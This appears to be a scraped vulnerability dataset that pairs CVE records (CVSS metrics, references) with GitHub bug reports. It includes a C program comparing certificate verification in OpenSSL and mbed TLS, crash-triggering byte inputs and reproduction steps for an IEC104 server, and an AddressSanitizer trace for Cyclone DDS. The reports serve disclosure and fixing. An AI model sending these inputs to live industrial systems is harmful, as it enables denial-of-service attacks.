0x1d, 0xb9, 0xc6, 0x8c, 0xa7, 0x53, 0x1b, 0xfc, 0xbc, 0xd9, 0xa4, 0xab, 0xbc, 0xdd, 0x3c, 0x61,
0xd7, 0x93, 0x15, 0x98, 0xee, 0x81, 0xbd, 0x8f, 0xe2, 0x64, 0x47, 0x20, 0x40, 0x06, 0x4e, 0xd7,
0xac, 0x97, 0xe8, 0xb9, 0xc0, 0x59, 0x12, 0xa1, 0x49, 0x25, 0x23, 0xe4, 0xed, 0x70, 0x34, 0x2c,
0xa5, 0xb4, 0x63, 0x7c, 0xf9, 0xa3, 0x3d, 0x83, 0xd1, 0xcd, 0x6d, 0x24, 0xac, 0x07, 0x02, 0x03,
0x01, 0x00, 0x01, 0xa3, 0x82, 0x01, 0x33, 0x30, 0x82, 0x01, 0x2f, 0x30, 0x0e, 0x06, 0x03, 0x55,
0x1d, 0x0f, 0x01, 0x01, 0xff, 0x04, 0x04, 0x03, 0x02, 0x01, 0x86, 0x30, 0x1d, 0x06, 0x03, 0x55,
0x1d, 0x25, 0x04, 0x16, 0x30, 0x14, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x01,
0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x02, 0x30, 0x12, 0x06, 0x03, 0x55, 0x1d,
0x13, 0x01, 0x01, 0xff, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0xff, 0x02, 0x01, 0x00, 0x30, 0x1d,
0x06, 0x03, 0x55, 0x1d, 0x0e, 0x04, 0x16, 0x04, 0x14, 0x98, 0xd1, 0xf8, 0x6e, 0x10, 0xeb, 0xcf,
0x9b, 0xec, 0x60, 0x9f, 0x18, 0x90, 0x1b, 0xa0, 0xeb, 0x7d, 0x09, 0xfd, 0x2b, 0x30, 0x1f, 0x06,
0x03, 0x55, 0x1d, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x9b, 0xe2, 0x07, 0x57, 0x67, 0x1c,
0x1e, 0xc0, 0x6a, 0x06, 0xde, 0x59, 0xb4, 0x9a, 0x2d, 0xdf, 0xdc, 0x19, 0x86, 0x2e, 0x30, 0x35,
0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x29, 0x30, 0x27, 0x30, 0x25,
0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x19, 0x68, 0x74, 0x74, 0x70,
0x3a, 0x2f, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x2e, 0x70, 0x6b, 0x69, 0x2e, 0x67, 0x6f, 0x6f, 0x67,
0x2f, 0x67, 0x73, 0x72, 0x32, 0x30, 0x32, 0x06, 0x03, 0x55, 0x1d, 0x1f, 0x04, 0x2b, 0x30, 0x29,
0x30, 0x27, 0xa0, 0x25, 0xa0, 0x23, 0x86, 0x21, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x63,
0x72, 0x6c, 0x2e, 0x70, 0x6b, 0x69, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x2f, 0x67, 0x73, 0x72, 0x32,
0x2f, 0x67, 0x73, 0x72, 0x32, 0x2e, 0x63, 0x72, 0x6c, 0x30, 0x3f, 0x06, 0x03, 0x55, 0x1d, 0x20,
0x04, 0x38, 0x30, 0x36, 0x30, 0x34, 0x06, 0x06, 0x67, 0x81, 0x0c, 0x01, 0x02, 0x02, 0x30, 0x2a,
0x30, 0x28, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x1c, 0x68, 0x74,
0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x70, 0x6b, 0x69, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x2f, 0x72,
0x65, 0x70, 0x6f, 0x73, 0x69, 0x74, 0x6f, 0x72, 0x79, 0x2f, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86,
0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x09, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x1a, 0x80,
0x3e, 0x36, 0x79, 0xfb, 0xf3, 0x2e, 0xa9, 0x46, 0x37, 0x7d, 0x5e, 0x54, 0x16, 0x35, 0xae, 0xc7,
0x4e, 0x08, 0x99, 0xfe, 0xbd, 0xd1, 0x34, 0x69, 0x26, 0x52, 0x66, 0x07, 0x3d, 0x0a, 0xba, 0x49,
0xcb, 0x62, 0xf4, 0xf1, 0x1a, 0x8e, 0xfc, 0x11, 0x4f, 0x68, 0x96, 0x4c, 0x74, 0x2b, 0xd3, 0x67,
0xde, 0xb2, 0xa3, 0xaa, 0x05, 0x8d, 0x84, 0x4d, 0x4c, 0x20, 0x65, 0x0f, 0xa5, 0x96, 0xda, 0x0d,
0x16, 0xf8, 0x6c, 0x3b, 0xdb, 0x6f, 0x04, 0x23, 0x88, 0x6b, 0x3a, 0x6c, 0xc1, 0x60, 0xbd, 0x68,
0x9f, 0x71, 0x8e, 0xee, 0x2d, 0x58, 0x34, 0x07, 0xf0, 0xd5, 0x54, 0xe9, 0x86, 0x59, 0xfd, 0x7b,
0x5e, 0x0d, 0x21, 0x94, 0xf5, 0x8c, 0xc9, 0xa8, 0xf8, 0xd8, 0xf2, 0xad, 0xcc, 0x0f, 0x1a, 0xf3,
0x9a, 0xa7, 0xa9, 0x04, 0x27, 0xf9, 0xa3, 0xc9, 0xb0, 0xff, 0x02, 0x78, 0x6b, 0x61, 0xba, 0xc7,
0x35, 0x2b, 0xe8, 0x56, 0xfa, 0x4f, 0xc3, 0x1c, 0x0c, 0xed, 0xb6, 0x3c, 0xb4, 0x4b, 0xea, 0xed,
0xcc, 0xe1, 0x3c, 0xec, 0xdc, 0x0d, 0x8c, 0xd6, 0x3e, 0x9b, 0xca, 0x42, 0x58, 0x8b, 0xcc, 0x16,
0x21, 0x17, 0x40, 0xbc, 0xa2, 0xd6, 0x66, 0xef, 0xda, 0xc4, 0x15, 0x5b, 0xcd, 0x89, 0xaa, 0x9b,
0x09, 0x26, 0xe7, 0x32, 0xd2, 0x0d, 0x6e, 0x67, 0x20, 0x02, 0x5b, 0x10, 0xb0, 0x90, 0x09, 0x9c,
0x0c, 0x1f, 0x9e, 0xad, 0xd8, 0x3b, 0xea, 0xa1, 0xfc, 0x6c, 0xe8, 0x10, 0x5c, 0x08, 0x52, 0x19,
0x51, 0x2a, 0x71, 0xbb, 0xac, 0x7a, 0xb5, 0xdd, 0x15, 0xed, 0x2b, 0xc9, 0x08, 0x2a, 0x2c, 0x8a,
0xb4, 0xa6, 0x21, 0xab, 0x63, 0xff, 0xd7, 0x52, 0x49, 0x50, 0xd0, 0x89, 0xb7, 0xad, 0xf2, 0xaf,
0xfb, 0x50, 0xae, 0x2f, 0xe1, 0x95, 0x0d, 0xf3, 0x46, 0xad, 0x9d, 0x9c, 0xf5, 0xca, 0x27, 0xa4,
0xeb, 0x4d, 0xb7, 0x8b, 0xd0, 0x77, 0x84, 0xc8, 0xc0, 0xea, 0x42, 0x21, 0x3a, 0x6f, 0x02, 0x1f,
0x28, 0xbc, 0x22, 0x6a, 0xfd, 0xe0, 0x52, 0x58, 0xb5, 0xc8, 0x47, 0xb9, 0x1c, 0xc8, 0xb6, 0x0a,
0x3b, 0xa7, 0x4d, 0x89, 0x5e, 0xea, 0xad, 0x95, 0x8e, 0x6a, 0x12, 0x87, 0x5b, 0xce, 0x95, 0x2e,
0xd3, 0x26, 0x11, 0xa6, 0xbe, 0xa0, 0x20, 0xac, 0x32, 0x02, 0x8b, 0x20, 0xeb, 0x83, 0x1b, 0x2c,
0xfd, 0x52, 0xa2, 0xb4, 0x44, 0xee, 0x52, 0x45, 0x2a, 0x2f, 0x5b, 0xbe, 0x15, 0xce, 0x78, 0xba,
0x47, 0x19, 0x97, 0x98, 0xa9, 0x56, 0x23, 0xa9, 0x9f, 0x57, 0xe2, 0xd7, 0x92, 0xf6, 0x4c, 0x53,
0x2f, 0x91, 0x2a, 0x91, 0xf2, 0x29, 0xf3, 0x4c, 0xf5, 0x5c, 0x1a, 0x80, 0xf7, 0x44, 0xd6, 0xb5,
0x95, 0xb9, 0x36, 0x81, 0x56, 0x5f, 0x2c, 0xad, 0x96, 0xde, 0xbc, 0x73, 0x25, 0xe9, 0x3a, 0x46,
0x91, 0x27, 0xa4, 0x1f, 0x4d, 0xb7, 0x8b, 0xd0, 0x77, 0x84, 0xc8, 0xc0, 0xea, 0x42, 0x21, 0x3a,
0x6f, 0x02, 0x1f, 0x28, 0xbc, 0x22, 0x6a, 0xfd, 0xe0, 0x52, 0x58, 0xb5, 0xc8, 0x47, 0xb9, 0x1c,
0xc8, 0xb6, 0x0a, 0x3b, 0xa7, 0x4d, 0x89, 0x5e, 0xea, 0xad, 0x95, 0x8e, 0x6a, 0x12, 0x87, 0x5b,
0xce, 0x95, 0x2e, 0xd3, 0x26, 0x11, 0xa6, 0xbe, 0xa0, 0x20, 0xac, 0x32, 0x02, 0x8b, 0x20, 0xeb,
0x83, 0x1b, 0x2c, 0xfd, 0x52, 0xa2, 0xb4, 0x44, 0xee, 0x52, 0x45, 0x2a, 0x2f, 0x5b, 0xbe, 0x15,
0xce, 0x78, 0xba, 0x47, 0x19, 0x97, 0x98, 0xa9, 0x56, 0x23, 0xa9, 0x9f, 0x57, 0xe2, 0xd7, 0x92,
0xf6, 0x4c, 0x53, 0x2f, 0x91, 0x2a, 0x91, 0xf2, 0x29, 0xf3, 0x4c, 0xf5, 0x5c, 0x1a, 0x80, 0xf7,
0x44, 0xd6, 0xb5, 0x95, 0xb9, 0x36, 0x81, 0x56, 0x5f, 0x2c, 0xad, 0x96, 0x86, 0x48, 0xce, 0x3d,
0x02, 0x60, 0x39, 0x0d, 0xfa, 0x32, 0x30, 0x32, 0x00, 0x00, 0x01, 0x71, 0x2b, 0x0e, 0x2a, 0x32,
0xc9, 0xcc, 0x1a, 0xca, 0xe1, 0x00, 0x00, 0x00, 0x04, 0x03, 0x00, 0x00, 0x89, 0x00, 0x00, 0x00,
0x01, 0xd0, 0x00, 0x00, 0x01, 0x04, 0x00, 0x00, 0x30, 0x80, 0x30, 0x80, 0x02, 0x02, 0x73, 0x32,
0x30, 0x80, 0x06, 0x02, 0x30, 0x30, 0x00, 0x00, 0x30, 0x00, 0x30, 0x1e, 0x17, 0x0d, 0x31, 0x30,
0x31, 0x31, 0x30, 0x30, 0x80, 0x30, 0x80, 0x02, 0x01, 0x28, 0x30, 0x03, 0x06, 0x01, 0x27, 0x30,
0x00, 0x30, 0x80, 0x30, 0x80, 0x02, 0x01, 0xff, 0x30, 0x03, 0x06, 0x01, 0x2a, 0x30, 0x00, 0x30,
0x80, 0x18, 0x00, 0x18, 0x00, 0x00, 0x00, 0x30, 0x00, 0x30, 0x2a, 0x86, 0x48, 0xce, 0x01, 0x01,
0x3d, 0x48, 0xce, 0x3d, 0x02, 0x01, 0x06, 0x05, 0x67, 0x2b, 0x01, 0x04, 0x08, 0x00, 0x00, 0x03,
0x10, 0x00, 0x02, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xdf, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xff, 0x04, 0x0c, 0x03, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x30, 0x80, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x86, 0xf8, 0x42, 0x01, 0x01, 0x04, 0x0c};
static void mbedtls(void) {
mbedtls_x509_crt cert;
mbedtls_x509_crt ca;
/* noret */ mbedtls_x509_crt_init(&cert);
/* noret */ mbedtls_x509_crt_init(&ca);
CF_CHECK_EQ(mbedtls_x509_crt_parse(&cert, discrepancy_cert, sizeof(discrepancy_cert)), 0);
CF_CHECK_EQ(mbedtls_x509_crt_parse(&ca, globalsign, sizeof(globalsign)), 0);
{
uint32_t flags;
printf("mbed TLS:\n");
if ( mbedtls_x509_crt_verify(&cert, &ca, NULL, NULL, &flags, NULL, NULL) == 0 ) {
printf("Verification succeeded\n");
} else {
printf("Verification failed\n");
}
}
end:
/* noret */ mbedtls_x509_crt_free(&cert);
/* noret */ mbedtls_x509_crt_free(&ca);
}
static void openssl(void) {
X509* x509 = NULL;
X509* ca = NULL;
X509_STORE* store = NULL;
X509_STORE_CTX* storeCtx = NULL;
{
const unsigned char* p = discrepancy_cert;
CF_CHECK_NE(d2i_X509(&x509, &p, sizeof(discrepancy_cert)), NULL);
}
{
const unsigned char* p = globalsign;
CF_CHECK_NE(d2i_X509(&ca, &p, sizeof(globalsign)), NULL);
}
CF_CHECK_NE(store = X509_STORE_new(), NULL);
CF_CHECK_EQ(X509_STORE_add_cert(store, ca), 1);
CF_CHECK_NE(storeCtx = X509_STORE_CTX_new(), NULL);
CF_CHECK_EQ(X509_STORE_CTX_init(storeCtx, store, x509, NULL), 1);
/* noret */ X509_STORE_CTX_set_flags(storeCtx, X509_V_FLAG_CB_ISSUER_CHECK);
printf("OpenSSL:\n");
if ( X509_verify_cert(storeCtx) == 1 ) {
printf("Verification succeeded\n");
} else {
printf("Verification failed\n");
}
end:
X509_free(x509);
X509_free(ca);
X509_STORE_CTX_free(storeCtx);
X509_STORE_free(store);
}
int main(void)
{
mbedtls();
openssl();
return 0;
}
``` | Certificate verification discrepancy between OpenSSL and mbed TLS | https://api.github.com/repos/Mbed-TLS/mbedtls/issues/3629/comments | 6 | 2020-09-01T07:30:15Z | 2020-12-17T18:06:13Z | https://github.com/Mbed-TLS/mbedtls/issues/3629 | 689,897,618 | 3,629 | 2,362 |
CVE-2020-18730 | 2021-08-23T21:15:07.343 | A segmentation violation in the Iec104_Deal_I function of IEC104 v1.0 allows attackers to cause a denial of service (DOS). | {
"cvssMetricV2": [
{
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"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
"obtainAllPrivilege": false,
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"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
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}
],
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://cwe.mitre.org/data/definitions/476.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/airpig2011/IEC104/issues/4"
},
{
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"tags": [
"Third Party Advisory"
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"476"
] | 476 | https://github.com/airpig2011/IEC104/issues/4 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"airpig2011",
"IEC104"
] | Hello. I built protocol IEC104 on my ubuntu16.04 machine with AddressSanitizer(export `CFLAGS="-g -fsanitize=address" CXXFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address"` before make) .
And I use [prenny desock](https://github.com/zardus/preeny) tool to build channels socket communication to the console.
But when I use the following data ( here in hexadecimal format for easy understanding but must be inputted as binary format file ) as the input to the server TCP socket `10000`, there will be a SEGV during the running.
`68:87:00:21:87:00:81:00`
The way I built `iec104_monitor` is as you sad [here](https://github.com/airpig2011/IEC104/pull/1), just cut the `main` function to the bottom in `./test/main.c` and change the route of source files in `./test/Makefile`.
The command line is as follows:
``LD_PRELOAD="/usr/lib/x86_64-linux-gnu/libasan.so.2:/root/preeny/x86_64-linux-gnu/desock.so" ./iec104_monitor -m server -n 1 < ./test_input``
where
`/usr/lib/x86_64-linux-gnu/libasan.so.2` is the lib of asan,
`/root/preeny/x86_64-linux-gnu/desock.so` is the lib of preeny desock
`./test_input` is the `binary format file` which contains the test input as mentioned above in hexadecimal format for easy understanding.
The runtime error information is:
```
Register "Linux" IEC104 Success, < HuiXing 2014-2015 > ...
mode :(0), port: (0), ip: (), station num: (1)
Iec104 Server Mode
Iec104 Socket Ok(10000) !
Iec104 Bind Ok(10000) !
Iec104 Listen Ok(10000)
Accept ok!
Server start get connect from 0 : 0x2328
#####################received
[DumpHEX]Length:8
68:87:00:21:87:00:81:00
-Iex104_Receive-,Frame Type I
Receive Pakage I(4224,67), Send(0,0)
++++Asdu Type Firmware Backoff...
IEC10X_Enqueue,Prio(1) elementNum(0)len(17)(17)
ASAN:SIGSEGV
=================================================================
==11061==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000000000 bp 0x7f46d8dfe610 sp 0x7f46d8dfe5e8 T1)
==11061==Hint: pc points to the zero page.
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 ??
Thread T1 created by T0 here:
#0 0x7f46dc3c0253 in pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x36253)
#1 0x4020a9 in main /root/feilong/libiec104_fuzz/asan-mode/IEC10X/main.c:299
==11061==ABORTING
```
I use gdb to debug it and the information is as following:
```
[DumpHEX]Length:6
68:04:43:00:02:21
Send Ok!
hC!IEC10X_Enqueue,Prio(0) elementNum(0)len(6)(6)
Tester Count(2)...
Thread 2 "iec104_monitor" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff37ff700 (LWP 42308)]
0x0000000000000000 in ?? ()
(gdb) backtrace
#0 0x0000000000000000 in ?? ()
#1 0x000000000040a605 in Iec104_Deal_I (Iec104Data=Iec104Data@entry=0x7ffff37fe880, len=len@entry=137) at ../IEC10X/Iec104.c:1214
#2 0x000000000040adac in Iex104_Receive (buf=buf@entry=0x7ffff37fe880 "h\207", len=len@entry=8) at ../IEC10X/Iec104.c:1305
#3 0x000000000040fe67 in Iec104_main (arg=<optimized out>) at main.c:138
#4 0x00007ffff6a306ba in start_thread (arg=0x7ffff37ff700) at pthread_create.c:333
#5 0x00007ffff676641d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
```
| SEGV in function Iec104_Deal_I | https://api.github.com/repos/airpig2011/IEC104/issues/4/comments | 0 | 2019-03-17T14:51:32Z | 2019-07-12T17:21:54Z | https://github.com/airpig2011/IEC104/issues/4 | 421,932,271 | 4 | 2,363 |
CVE-2020-18731 | 2021-08-23T21:15:09.327 | A segmentation violation in the Iec104_Deal_FirmUpdate function of IEC104 v1.0 allows attackers to cause a denial of service (DOS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://cwe.mitre.org/data/definitions/476.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/airpig2011/IEC104/issues/5"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://cwe.mitre.org/data/definitions/476.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/airpig2011/IEC104/issues/5"
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"476"
] | 476 | https://github.com/airpig2011/IEC104/issues/5 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"airpig2011",
"IEC104"
] | Hello. I built protocol IEC104 in my ubuntu16.04 machine with AddressSanitizer(`export CFLAGS="-g -fsanitize=address" CXXFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address"` before make) .
And I use [prenny desock][1] tool to build channels socket communication to the console.
But when I use the following data ( here in hexadecimal format for easy understanding but must be inputted as binary format file ) as the input to the server socket 10000, there will be a SEGV during the running.
`68:e0:40:00:00:83:80:68 10:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00 00:00:00:00:00:00:00:00
00:00:00:00:00:00:00:83 80:00:08
`
The way I built `iec104_monitor` is as you sad [here](https://github.com/airpig2011/IEC104/pull/1), just cut the `main` function to the bottom in `./test/main.c` and change the route of source files in `./test/Makefile`.
The command line is as follows:
``LD_PRELOAD="/usr/lib/x86_64-linux-gnu/libasan.so.2:/root/preeny/x86_64-linux-gnu/desock.so" ./iec104_monitor -m server -n 1 < ./test_input``
where
`/usr/lib/x86_64-linux-gnu/libasan.so.2` is the lib of asan,
`/root/preeny/x86_64-linux-gnu/desock.so` is the lib of preeny desock
`./test_input` is the `binary format file` which contains the test input as mentioned above in hexadecimal format for easy understanding.
The run time error information is:
```
Register "Linux" IEC104 Success, < HuiXing 2014-2015 > ...
mode :(0), port: (0), ip: (), station num: (1)
Iec104 Server Mode
Iec104 Socket Ok(10000) !
Iec104 Bind Ok(10000) !
Iec104 Listen Ok(10000)
Accept ok!
Server start get connect from 0 : 0x2328
#####################received
[DumpHEX]Length:43
68:e0:40:00:00:83:80:68 10:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00 00:00:00:00:00:00:00:00
00:00:00:00:00:00:00:83 80:00:08
-Iex104_Receive-,Frame Type I
Receive Pakage I(32,16768), Send(0,0)
++++Asdu Type Firmware Update...
-Iec104_Deal_FirmUpdate-,data finish:0,Len:208,Total Len:0
ASAN:SIGSEGV
=================================================================
==26583==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000000000 bp 0x000000000000 sp 0x7fb0d0cfe4e8 T1)
==26583==Hint: pc points to the zero page.
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 ??
Thread T1 created by T0 here:
#0 0x7fb0d4376253 in pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x36253)
#1 0x4020a9 in main /root/feilong/libiec104_fuzz/asan-mode/IEC10X/main.c:299
==26583==ABORTING
```
I use gdb to debug it and the information is as following:
```
Thread 2 "iec104_monitor" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff37ff700 (LWP 19690)]
0x0000000000000000 in ?? ()
(gdb) backtrace
#0 0x0000000000000000 in ?? ()
#1 0x000000000040898d in Iec104_Deal_FirmUpdate (asdu=asdu@entry=0x7ffff37fe886, Len=Len@entry=226 '\342') at ../IEC10X/Iec104.c:1129
#2 0x000000000040a631 in Iec104_Deal_I (Iec104Data=Iec104Data@entry=0x7ffff37fe880, len=len@entry=226) at ../IEC10X/Iec104.c:1208
#3 0x000000000040adac in Iex104_Receive (buf=buf@entry=0x7ffff37fe880 "h\340@", len=len@entry=43) at ../IEC10X/Iec104.c:1305
#4 0x000000000040fe67 in Iec104_main (arg=<optimized out>) at main.c:138
#5 0x00007ffff6a306ba in start_thread (arg=0x7ffff37ff700) at pthread_create.c:333
#6 0x00007ffff676641d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
(gdb)
#0 0x0000000000000000 in ?? ()
#1 0x000000000040898d in Iec104_Deal_FirmUpdate (asdu=asdu@entry=0x7ffff37fe886, Len=Len@entry=226 '\342') at ../IEC10X/Iec104.c:1129
#2 0x000000000040a631 in Iec104_Deal_I (Iec104Data=Iec104Data@entry=0x7ffff37fe880, len=len@entry=226) at ../IEC10X/Iec104.c:1208
#3 0x000000000040adac in Iex104_Receive (buf=buf@entry=0x7ffff37fe880 "h\340@", len=len@entry=43) at ../IEC10X/Iec104.c:1305
#4 0x000000000040fe67 in Iec104_main (arg=<optimized out>) at main.c:138
#5 0x00007ffff6a306ba in start_thread (arg=0x7ffff37ff700) at pthread_create.c:333
#6 0x00007ffff676641d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
(gdb)
```
[1]: https://github.com/zardus/preeny
| SEGV in function Iec104_Deal_FirmUpdate | https://api.github.com/repos/airpig2011/IEC104/issues/5/comments | 0 | 2019-03-18T02:47:00Z | 2019-07-12T17:22:09Z | https://github.com/airpig2011/IEC104/issues/5 | 422,014,342 | 5 | 2,364 |
CVE-2020-18734 | 2021-08-23T21:15:09.413 | A stack buffer overflow in /ddsi/q_bitset.h of Eclipse IOT Cyclone DDS Project v0.1.0 causes the DDS subscriber server to crash. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/eclipse-cyclonedds/cyclonedds"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/eclipse-cyclonedds/cyclonedds/issues/476"
},
{
"source": "cve@mitre.org",
"tags": [
"Release Notes",
"Vendor Advisory"
],
"url": "https://projects.eclipse.org/projects/iot.cyclonedds"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/eclipse-cyclonedds/cyclonedds"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/eclipse-cyclonedds/cyclonedds/issues/476"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes",
"Vendor Advisory"
],
"url": "https://projects.eclipse.org/projects/iot.cyclonedds"
}
] | [
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] | [
"787"
] | 787 | https://github.com/eclipse-cyclonedds/cyclonedds/issues/476 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"eclipse-cyclonedds",
"cyclonedds"
] | I used Peach Fuzzer to fuzz the HelloworldSubscriber at ./build/bin/HelloworldSubscriber.
After a period of time, A stack-buffer-overflow crash was found by AddressSanitizer. Next is the full crash information.
`=================================================================
==11082==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f1997bf6278 at pc 0x7f199e12cdd0 bp 0x7f1997bf6010 sp 0x7f1997bf6008
READ of size 4 at 0x7f1997bf6278 thread T5 (recv)
#0 0x7f199e12cdcf in nn_bitset_one /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/include/ddsi/q_bitset.h:50:13
#1 0x7f199e12cdcf in nn_defrag_nackmap /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_radmin.c:1467
#2 0x7f199e1484f6 in handle_HeartbeatFrag /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_receive.c:1426:11
#3 0x7f199e1484f6 in handle_submsg_sequence /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_receive.c:2803
#4 0x7f199e13f0f8 in do_packet /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_receive.c:3051:7
#5 0x7f199e13dbbb in recv_thread /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_receive.c:3416:16
#6 0x7f199e162af2 in create_thread_wrapper /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_thread.c:177:9
#7 0x7f199e2559a5 in os_startRoutineWrapper /root/fouzhe/cyclonedds-0.1.0-coverage/src/os/src/posix/../snippets/code/os_posix_thread.c:155:17
#8 0x7f199ddb86b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)
